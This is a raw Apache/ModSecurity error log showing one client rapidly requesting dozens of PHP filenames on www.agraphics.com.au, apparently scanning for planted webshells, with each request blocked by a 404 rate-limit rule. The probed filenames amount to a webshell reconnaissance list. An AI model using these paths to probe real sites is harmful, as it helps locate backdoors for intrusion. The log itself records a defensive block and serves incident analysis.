[Sat Dec 13 00:04:09.402276 2025] [:error] [pid 26520:tid 26573] [client 4.193.186.94:35848] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/d57.php"] [unique_id "aTw8-UG_frlY5vNXu_AgHgAAAFU"]
[Sat Dec 13 00:04:09.749747 2025] [:error] [pid 27950:tid 27976] [client 4.193.186.94:21040] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "aTw8-YVLRvkrdsSc1F3NBgAAAVg"]
[Sat Dec 13 00:04:10.216139 2025] [:error] [pid 26519:tid 26544] [client 4.193.186.94:35841] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "aTw8-s8TRgSGOeWqEhcVFwAAABU"]
[Sat Dec 13 00:04:10.550426 2025] [:error] [pid 27950:tid 27962] [client 4.193.186.94:21033] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "aTw8-oVLRvkrdsSc1F3NBwAAAUo"]
[Sat Dec 13 00:04:10.957291 2025] [:error] [pid 55760:tid 55769] [client 4.193.186.94:20886] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "aTw8-lObDQlftFDyGaxGPAAAAYc"]
[Sat Dec 13 00:04:11.587406 2025] [:error] [pid 26520:tid 26563] [client 4.193.186.94:20964] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/manager.php"] [unique_id "aTw8-0G_frlY5vNXu_AgIgAAAEs"]
[Sat Dec 13 00:04:11.798365 2025] [:error] [pid 60649:tid 60664] [client 4.193.186.94:21368] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/manager.php"] [unique_id "aTw8-1OcUGKU3sgfHP8iQQAAAQw"]
[Sat Dec 13 00:04:12.173665 2025] [:error] [pid 26607:tid 26627] [client 4.193.186.94:20996] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/manager.php"] [unique_id "aTw8_Mb_b0tOEWTL2KnFywAAANI"]
[Sat Dec 13 00:04:12.406737 2025] [:error] [pid 60649:tid 60659] [client 4.193.186.94:35949] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/manager.php"] [unique_id "aTw8_FOcUGKU3sgfHP8iQgAAAQc"]
[Sat Dec 13 00:04:12.731996 2025] [:error] [pid 55760:tid 55763] [client 4.193.186.94:21013] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file52.php"] [unique_id "aTw8_FObDQlftFDyGaxGQAAAAYE"]
[Sat Dec 13 00:04:13.167832 2025] [:error] [pid 55760:tid 55775] [client 4.193.186.94:35873] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file52.php"] [unique_id "aTw8_VObDQlftFDyGaxGQQAAAY0"]
[Sat Dec 13 00:04:13.560734 2025] [:error] [pid 26520:tid 26572] [client 4.193.186.94:35861] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file52.php"] [unique_id "aTw8_UG_frlY5vNXu_AgJwAAAFQ"]
[Sat Dec 13 00:04:13.947604 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:21324] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file52.php"] [unique_id "aTw8_VObDQlftFDyGaxGQgAAAZE"]
[Sat Dec 13 00:04:14.353530 2025] [:error] [pid 26519:tid 26527] [client 4.193.186.94:20896] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shop.php"] [unique_id "aTw8_s8TRgSGOeWqEhcVGQAAAAQ"]
[Sat Dec 13 00:04:14.711739 2025] [:error] [pid 26607:tid 26612] [client 4.193.186.94:21006] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shop.php"] [unique_id "aTw8_sb_b0tOEWTL2KnF0wAAAMM"]
[Sat Dec 13 00:04:14.910968 2025] [:error] [pid 27950:tid 27964] [client 4.193.186.94:21346] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shop.php"] [unique_id "aTw8_oVLRvkrdsSc1F3NCQAAAUw"]
[Sat Dec 13 00:04:15.212277 2025] [:error] [pid 26519:tid 26530] [client 4.193.186.94:35899] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/shop.php"] [unique_id "aTw8_88TRgSGOeWqEhcVGgAAAAc"]
[Sat Dec 13 00:04:15.508424 2025] [:error] [pid 27950:tid 27965] [client 4.193.186.94:35851] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aTw8_4VLRvkrdsSc1F3NDAAAAU0"]
[Sat Dec 13 00:04:15.752909 2025] [:error] [pid 27950:tid 27953] [client 4.193.186.94:21012] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aTw8_4VLRvkrdsSc1F3NDQAAAUE"]
[Sat Dec 13 00:04:16.022192 2025] [proxy_fcgi:error] [pid 26520:tid 26566] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:16.113847 2025] [proxy_fcgi:error] [pid 26520:tid 26556] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:16.220063 2025] [proxy_fcgi:error] [pid 26520:tid 26565] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:16.325381 2025] [proxy_fcgi:error] [pid 26520:tid 26569] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:16.417769 2025] [proxy_fcgi:error] [pid 26520:tid 26563] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:16.525598 2025] [proxy_fcgi:error] [pid 26520:tid 26574] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:16.619877 2025] [proxy_fcgi:error] [pid 26520:tid 26561] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:16.711131 2025] [proxy_fcgi:error] [pid 26520:tid 26570] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:16.815783 2025] [proxy_fcgi:error] [pid 26520:tid 26560] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:16.918074 2025] [proxy_fcgi:error] [pid 26520:tid 26564] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:17.057317 2025] [proxy_fcgi:error] [pid 26520:tid 26553] [client 4.193.186.94:35913] AH01071: Got error 'Primary script unknown'
[Sat Dec 13 00:04:17.145228 2025] [:error] [pid 26520:tid 26552] [client 4.193.186.94:35913] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yanki.php"] [unique_id "aTw9AUG_frlY5vNXu_AgNwAAAEA"]
[Sat Dec 13 00:04:17.364670 2025] [:error] [pid 55760:tid 55780] [client 4.193.186.94:35927] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yanki.php"] [unique_id "aTw9AVObDQlftFDyGaxGSwAAAZI"]
[Sat Dec 13 00:04:17.706712 2025] [:error] [pid 55760:tid 55762] [client 4.193.186.94:20992] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yanki.php"] [unique_id "aTw9AVObDQlftFDyGaxGTAAAAYA"]
[Sat Dec 13 00:04:17.949737 2025] [:error] [pid 26520:tid 26576] [client 4.193.186.94:21361] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yanki.php"] [unique_id "aTw9AUG_frlY5vNXu_AgOwAAAFg"]
[Sat Dec 13 00:04:18.366701 2025] [:error] [pid 60649:tid 60653] [client 4.193.186.94:21367] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ouh.php"] [unique_id "aTw9AlOcUGKU3sgfHP8iRgAAAQE"]
[Sat Dec 13 00:04:18.779669 2025] [:error] [pid 55760:tid 55775] [client 4.193.186.94:21002] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ouh.php"] [unique_id "aTw9AlObDQlftFDyGaxGUAAAAY0"]
[Sat Dec 13 00:04:19.070131 2025] [:error] [pid 55760:tid 55764] [client 4.193.186.94:21001] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ouh.php"] [unique_id "aTw9A1ObDQlftFDyGaxGUgAAAYI"]
[Sat Dec 13 00:04:19.354468 2025] [:error] [pid 55760:tid 55785] [client 4.193.186.94:20975] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ouh.php"] [unique_id "aTw9A1ObDQlftFDyGaxGUwAAAZc"]
[Sat Dec 13 00:04:19.641827 2025] [:error] [pid 27950:tid 27974] [client 4.193.186.94:20866] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/555.php"] [unique_id "aTw9A4VLRvkrdsSc1F3NDgAAAVY"]
[Sat Dec 13 00:04:19.938842 2025] [:error] [pid 60649:tid 60667] [client 4.193.186.94:35951] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/555.php"] [unique_id "aTw9A1OcUGKU3sgfHP8iSAAAAQ8"]
[Sat Dec 13 00:04:20.261524 2025] [:error] [pid 60649:tid 60671] [client 4.193.186.94:21017] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/555.php"] [unique_id "aTw9BFOcUGKU3sgfHP8iSQAAARM"]
[Sat Dec 13 00:04:20.558528 2025] [:error] [pid 55760:tid 55767] [client 4.193.186.94:21019] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/555.php"] [unique_id "aTw9BFObDQlftFDyGaxGVgAAAYU"]
[Sat Dec 13 00:04:20.909243 2025] [:error] [pid 27950:tid 27959] [client 4.193.186.94:20936] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dlu.php"] [unique_id "aTw9BIVLRvkrdsSc1F3NDwAAAUc"]
[Sat Dec 13 00:04:21.262029 2025] [:error] [pid 26521:tid 26580] [client 4.193.186.94:21352] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dlu.php"] [unique_id "aTw9BZdhcAPU617AKTDD2AAAAIE"]
[Sat Dec 13 00:04:21.616503 2025] [:error] [pid 26521:tid 26597] [client 4.193.186.94:21340] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dlu.php"] [unique_id "aTw9BZdhcAPU617AKTDD2QAAAJI"]
[Sat Dec 13 00:04:21.921857 2025] [:error] [pid 26521:tid 26588] [client 4.193.186.94:20928] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dlu.php"] [unique_id "aTw9BZdhcAPU617AKTDD2gAAAIk"]
[Sat Dec 13 00:04:22.246289 2025] [:error] [pid 27950:tid 27963] [client 4.193.186.94:21037] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dds.php"] [unique_id "aTw9BoVLRvkrdsSc1F3NEwAAAUs"]
[Sat Dec 13 00:04:22.479957 2025] [:error] [pid 55760:tid 55776] [client 4.193.186.94:20976] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dds.php"] [unique_id "aTw9BlObDQlftFDyGaxGXgAAAY4"]
[Sat Dec 13 00:04:22.693853 2025] [:error] [pid 26521:tid 26590] [client 4.193.186.94:20955] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dds.php"] [unique_id "aTw9BpdhcAPU617AKTDD3AAAAIs"]
[Sat Dec 13 00:04:22.963282 2025] [:error] [pid 55760:tid 55777] [client 4.193.186.94:21003] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/dds.php"] [unique_id "aTw9BlObDQlftFDyGaxGYAAAAY8"]
[Sat Dec 13 00:04:23.236955 2025] [:error] [pid 55760:tid 55764] [client 4.193.186.94:21008] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/NH19T66T.php"] [unique_id "aTw9B1ObDQlftFDyGaxGYQAAAYI"]
[Sat Dec 13 00:04:23.544775 2025] [:error] [pid 26519:tid 26534] [client 4.193.186.94:35897] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/NH19T66T.php"] [unique_id "aTw9B88TRgSGOeWqEhcVHgAAAAs"]
[Sat Dec 13 00:04:23.763063 2025] [:error] [pid 26519:tid 26543] [client 4.193.186.94:35865] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/NH19T66T.php"] [unique_id "aTw9B88TRgSGOeWqEhcVHwAAABQ"]
[Sat Dec 13 00:04:24.035175 2025] [:error] [pid 60649:tid 60668] [client 4.193.186.94:20933] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/NH19T66T.php"] [unique_id "aTw9CFOcUGKU3sgfHP8iSgAAARA"]
[Sat Dec 13 00:04:24.395621 2025] [:error] [pid 27950:tid 27958] [client 4.193.186.94:20939] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ad24f.php"] [unique_id "aTw9CIVLRvkrdsSc1F3NFwAAAUY"]
[Sat Dec 13 00:04:24.621888 2025] [:error] [pid 26607:tid 26632] [client 4.193.186.94:21042] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ad24f.php"] [unique_id "aTw9CMb_b0tOEWTL2KnF6wAAANc"]
[Sat Dec 13 00:04:24.836906 2025] [:error] [pid 55760:tid 55779] [client 4.193.186.94:21029] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ad24f.php"] [unique_id "aTw9CFObDQlftFDyGaxGZgAAAZE"]
[Sat Dec 13 00:04:25.075130 2025] [:error] [pid 26521:tid 26582] [client 4.193.186.94:35956] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ad24f.php"] [unique_id "aTw9CZdhcAPU617AKTDD3wAAAIM"]
[Sat Dec 13 00:04:25.297282 2025] [:error] [pid 26519:tid 26536] [client 4.193.186.94:20959] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lala.php"] [unique_id "aTw9Cc8TRgSGOeWqEhcVIQAAAA0"]
[Sat Dec 13 00:04:25.485004 2025] [:error] [pid 26521:tid 26581] [client 4.193.186.94:21055] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lala.php"] [unique_id "aTw9CZdhcAPU617AKTDD4AAAAII"]
[Sat Dec 13 00:04:25.729131 2025] [:error] [pid 26519:tid 26546] [client 4.193.186.94:20967] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lala.php"] [unique_id "aTw9Cc8TRgSGOeWqEhcVIgAAABc"]
[Sat Dec 13 00:04:26.224519 2025] [:error] [pid 26607:tid 26618] [client 4.193.186.94:35919] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/lala.php"] [unique_id "aTw9Csb_b0tOEWTL2KnF7QAAAMk"]
[Sat Dec 13 00:04:26.495380 2025] [:error] [pid 26519:tid 26538] [client 4.193.186.94:20954] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sec.php"] [unique_id "aTw9Cs8TRgSGOeWqEhcVIwAAAA8"]
[Sat Dec 13 00:04:26.750196 2025] [:error] [pid 26607:tid 26614] [client 4.193.186.94:21316] [client 4.193.186.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sec.php"] [unique_id "aTw9Csb_b0tOEWTL2KnF7gAAAMU"]
